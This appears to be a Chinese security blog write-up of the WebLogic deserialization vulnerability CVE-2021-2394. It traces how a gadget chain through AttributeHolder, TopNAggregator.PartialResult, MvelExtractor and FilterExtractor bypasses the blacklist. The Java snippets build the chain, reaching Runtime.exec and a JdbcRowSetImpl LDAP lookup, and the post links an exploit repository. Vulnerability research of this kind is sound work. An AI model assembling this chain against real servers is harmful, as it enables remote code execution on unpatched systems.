Weblogic CVE-2021-2394 反序列化漏洞分析

阅读量    57000 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x01 漏洞简介

根据漏洞作者描述,这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

 

0x02 环境搭建

参照之前的环境搭建文档搭建JDK1.8_111和weblogic 12.2.1.3.0

git clone https://github.com/BabyTeam1024/Docker_WeblogicAutoBuild.git

在两个use目录下,分别放置JDK安装包和Weblogic安装包

之后运行在项目根目录下的配置脚本 WeblogicDockerBuild.sh

之后运行在项目根目录下的配置脚本 WeblogicDockerBuild.sh

调试端口8453,服务端口7001

 

0x03 知识点分析

0x1 ObjectInputStream反序列化简析

下图为ObjectInputstream在反序列化对象时的函数调用关系,介绍这部分知识是因为,本次在反序列化的时候使用了readExternal函数进行反序列化。下图部分红蓝部分只能执行其中一个,我们以往分析的都是蓝色分支,

引用款字节安全的一个表格,对比两个反序列化过程,可以发现Serializable默认是将所有对象进行保存,然而Externalizable则是由开发人员指定保存哪个对象,可以看出后者更加高效。但是在高效的同时也存在一定的安全隐患,这就意味着攻击者可以不通过ObjectInputStream中的方法进行反序列化生成相应的对象。

区 别 Serializable Externalizable
实现复杂度 实现简单,Java对其有内建支持 实现复杂,由开发人员自己完成
执行效率 所有对象由Java统一保存,性能较低 开发人员决定哪个对象保存,可能造成速度提升
保存信息 保存时占用空间大 部分存储,可能造成空间减少

0x2 Weblogic自己实现的反序列化功能

不只是这次漏洞利用了Weblogic自己的反序列化功能,在之前的CVE-2020-14756漏洞中也运用了该知识点。具体是个什么东东,我们看下weblogic源代码就知道了。

在反序列化的时候执行obj.readExternal函数就进入了weblogic自定义的readExternal函数进行反序列化,其中最关键的部分在coherence.jar::com.tangosol.util.ExternalizableHelper函数中。关键函数调用栈如下

在浅蓝色部分是这几次反序列化漏洞打补丁的地方,下图为CVE-2020-14756 patch的地方

我们跟进这个函数查看他的相关实现,可以看到weblogic的这套反序列化体系,其底层实现是用最基础的Class.forName方法进行类加载的。

//coherence.jar::com.tangosol.util.ExternalizableHelper
public static Class loadClass(String sClass, ClassLoader loader1, ClassLoader loader2) throws ClassNotFoundException {
    for(int i = 1; i <= 3; ++i) {
        ClassLoader loader;
        switch(i) {
            case 1:
                loader = loader1;
                break;
            case 2:
                loader = loader2;
                break;
            case 3:
                loader = getContextClassLoader();
                if (loader == loader1 || loader == loader2) {
                    loader = null;
                }
                break;
            default:
                throw new IllegalStateException();
        }

        try {
            if (loader != null) {
                return Class.forName(sClass, false, loader);
            }
        } catch (ClassNotFoundException var6) {
        }
    }

    return Class.forName(sClass);
}

简单来讲Weblogic在ObjectInputStream反序列化体系外,用Class.forName的方式实现最终的反序列化。

0x3 方法重载对反序列化的影响

方法重载就是方法名称重复,加载参数不同。 在一个Java类中,定义多个同名的方法,如果方法名相同,方法参数不同,包括参数的类型和个数都不同,叫做方法的重载。为什么提这个呢?在分析payload的时候有个很大的疑惑,TopNAggregator.PartialResult类也实现了readExternal为什么不能作为最终的反序列化入口呢???

现象就是一旦使用TopNAggregator.PartialResult这个类作为入口,就不能执行其中的readExternal函数从而触发不了漏洞,傻不拉几的想了半天就是不了解发生了什么。

突然间我发现了其中的奥秘,方法重载背的锅。我们仔细对比下TopNAggregator.PartialResult和AttributeHolader两个类中readExternal的不同点

AttributeHolader在方法实现的时候实现了readExternal(ObjectInput in)这个方法,对照刚刚分析的weblogic自己实现的反序列化流程,发现在整个过程只会调用反序列化出来对象的readExternal(ObjectInput in)方法,然而TopNAggregator.PartialResult实现的是readExternal(DataInput in)并没有实现该方法,所以不会执行之后的反序列化利用链。

 

0x04 利用分析

关于CVE-2021-2394的分析,还是先从CVE-2020-14756讲起。

0x1 CVE-2020-14756利用分析

一般来说调用链和封装链的顺序都是相反的,调用链是从readObject出发一步一步走向命令执行代码。然而封装链是从命令执行代码出发,一步一步封装到readObject函数。因为这两个链逻辑上的差别,再加上Java语言上的封装、继承上的特性,使得在分析利用链的时候无比的吃力,之前在分析利用链的时候考虑过用什么方式表现出来可以让链的过程一清二楚,这次采用新的记录方式。

将两条链的过程形成闭环,更好的理解反序列化漏洞形态。

1. 命令执行

在com.tangosol.coherence.rest.util.extractor.MvelExtractor中的extract方法会进行表达式计算,因表达式可控,所以可以执行系统命令

执行命令代码如下

MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");

同时在MvelExtractor类的父类AbstractExtractor的compare方法会调用子类的extract方法,给利用链增加了一个接口。

2. 调用链

了解了之前介绍的知识点,我们主要把AttributeHolder类作为我们反序列化的入口,首先看看它的反序列化函数里都实现了哪些功能。

可以看出readExternal再次利用Weblogic自己的反序列化逻辑实现了类的解析,因为这次readObject参数为DataInput类型,我们就可以再次扩大可反序列化的范围,准备执行二次反序列化操作。这里就是入口的情况,至于怎么和MvelExtractor的compare结合在一起,我们还要精心构造。

目前的状态是两个独立的类,需要一个链把他们连在一起,上图中黄色部分为调用链。在寻找实现了readExternal的类中发现了TopNAggregator.PartialResult,其实现的方法如下

看到comparator感觉拥有了希望,毕竟在MvelExtractor类中我们可以使用compare方法进行命令执行。我们深入研究下TopNAggregator.PartialResult中的方法。instantiateInternalMap方法将传入的comparator封装一层成为新的comparator之后封装进TreeMap

再之后调用add方法将之前的元素添加进TreeMap中,在跟进分析add方法的时候发现了一线生机。具体调用图如下

简言之在TopNAggregator.PartialResult在反序列化的时候会调用TreeMap的put方法添加元素,在执行put方法的时候会触发一次comparator的compare方法,如果这个comparator就是我们之前分析的MvelExtractor,那么就构成了一个完整的调用链。

从上图中的黄色线条部分可以清楚的看出整个反序列化链是怎么调用执行的,关于这条链是怎么构造的我们需要关注的就是类之间的组合调用关系,下面就讲讲如何进行层层封装的。

3. 封装链

封装就要倒着来,先从命令执行部分开始。MvelExtractor执行命令需要传入cmd作为构造参数,提供对外的调用接口compare函数。从调用链来看,我们需要控制SortedBag.wrapperComparator的f_comparator属性为MvelExtractor对象,这里其实在TopNAggrator.PartialResult类中的instantiateInternalMap方法已经集成了该操作。所以只需将MvelExtractor对象赋值给PartialResult的m_comparator变量即可,这样在PartialResult反序列化的时候就会自动执行剩下的一系列操作,所以第一步创造MvelExtractor对象

MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");

第二步构造TopNAggrator.PartialResult对象

MvelExtractor extractor2 = new MvelExtractor("");
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
sortedBag.add(1);//添加后才会执行readExternal的add方法
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);//修改sortedBag对象中的m_comparator属性为extractor,这样就会生成带有这个comparator的TreeMap

第三步,将TopNAggrator.PartialResult对象封装进AttributeHolder的o_value属性

AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);

到此为止整个封装顺序为下图中绿线的调用顺序,一旦封装完毕那么在反序列化执行的时候就会按照橙线的顺序执行。

0x2 绕过黑名单类

1. 绕过分析

在CVE-2021-2394之前的黑名单对CVE-2020-14825中的LockVersionExtractor和MethodAttributeAccessor以及MvelExtractor进行了限制,使得我们不能在readExternal反序列化的时候获取到这三个类。漏洞作者在研究的时候发现了SerializationHelper.readAttributeAccessor方法中实例化了MethodAttributeAccessor类

同时发现FilterExtractor类在反序列化的时候会调用该方法生成MethodAttributeAccessor对象。与此同时FilterExtractor的extract函数会调用MethodAttributeAccessor的getAttributeValueFromObject方法。

更巧的是该方法带有反射调用,可以调用任意对象的任意方法

于是就有了下面的代码

MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("Timeline Sec");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");
FilterExtractor extractor = new FilterExtractor(accessor);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);

有同学可能会有疑问不是这里生成了MethodAttributeAccessor对象,在反序列化的时候不会被黑名单吗?答案是不会的,因为FilterExtractor在序列化的时候会将它的关键属性用字符串的方式进行序列化存储,而在反序列化的时候直接new MethodAttributeAccessor()

2. 命令执行分析

运用CVE-2020-14825的命令执行链,JdbcRowSetImpl类中的lookup方法触发ldap漏洞。

构造如下代码

JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName(ldapurl);

只需要将之前的分析整合在一起就可以构造CVE-2021-2394反序列化利用链了

0x3 反序列化链

通过刚刚对黑名单的绕过分析我们可以把之前的CVE-2020-14756反序列化调用图做如下调整

值得注意的是JdbcRowSetImpl对象在封装链中的填充顺序,我们将它填充在了TopNAggregator.PartialResult的map对象中,这样在反序列化的时候就会通过add方法一路传参,直到我们构造好的MethodAttributeAccessor执行getAttributeFromObject方法,最终运用反射调用我们实现指定的方法。
参考了Y4er师傅CVE-2020-2555漏洞利用项目,添加相关依赖包后,可以实现对相应版本的突破。

 

0x05 总结

通过该漏洞学习到了一些新的知识点,已经将此次利用程序放在https://github.com/BabyTeam1024/CVE-2021-2394,后续打算对weblogic漏洞进行详细的梳理。

 

参考文章

https://www.secpulse.com/archives/144831.html
https://y4er.com/post/weblogic-cve-2020-14756/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多